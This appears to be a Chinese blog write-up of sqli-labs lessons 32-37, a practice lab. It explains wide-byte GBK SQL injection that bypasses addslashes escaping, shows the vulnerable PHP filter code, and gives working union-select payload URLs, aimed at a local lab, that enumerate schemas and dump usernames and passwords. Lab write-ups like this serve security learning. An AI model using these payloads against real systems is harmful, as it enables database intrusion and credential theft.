# Sqlilab Less32-37 WriteUp

原创

jhzzzz 于 2021-01-30 17:27:40 发布 47 收藏

分类专栏： sqlilab



本文链接：https://blog.csdn.net/jhzzzz/article/details/113094411





文章目录



## 宽字节注入

### 利用宽字节 嵌套查询

mysql在使用GBK编码的时候，会认为两个字符为一个汉字，例如%aa%5c就是一个汉字（前一个ascii码大于128才能到汉字的范围）。我们在过滤 ' 的时候，往往利用的思路是将 ' 转换为 '

因此我们在此想办法将 ' 前面添加的 \ 除掉，一般有两种思路：

%df吃掉 \ 具体的原因是urlencode(') = %5c%27，我们在%5c%27前面添加%df，形成%df%5c%27，而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字，此事%df%5c就是一个汉字，%27则作为一个单独的符号在外面，同时也就达到了我们的目的。
将 ' 中的 \ 过滤掉，例如可以构造 %**%5c%5c%27的情况，后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。

关键代码

```
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a
 backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a
 backslash

    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
```

上述函数为过滤 ' \ 的函数，将 ' 转为 \' ， 将 \ 转为 \\ ，将 " 转为 \"。

也可以使用过滤函数addslashes()达到同样的效果

```
function check_addslashes($string)
{
    $string= addslashes($string);
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
```

addslashes()函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是：
单引号（'）
双引号（"）
反斜杠（\）
因此此处我们只能考虑第一个思路，添加一个%df后，将%5c吃掉

获取当前数据库

```
http://127.0.0.1/sqlilab/Less-32/?id=-1%df' union select 1,(select group_concat(schema_name) from information_sc
hema.schemata),3--+
```

获取数据库下数据表

```
http://127.0.0.1/sqlilab/Less-32/?id=-1%df' union select 1,(select group_concat(table_name) from information_sch
ema.tables where table_schema=(select database())),3--+
```

通过嵌套查询逃逸后面使用的'

获取users表的列名

```
http://127.0.0.1/sqlilab/Less-32/?id=-1%df' union select 1,(select group_concat(column_name) from information_sc
hema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.ta
bles where table_schema=(select database()) limit 3,1)),3--+
```

获取users表内容

```
http://127.0.0.1/sqlilab/Less-32/?id=-1%df' union select 1,(select group_concat(username,0x3a,password) from use
rs),3--+
```

## 利用'的utf-16转义

获取当前数据库

```
http://127.0.0.1/sqlilab/Less-36/?id=-1%EF%BF%BD%27union select 1,user(),3--+
```

其它过程相同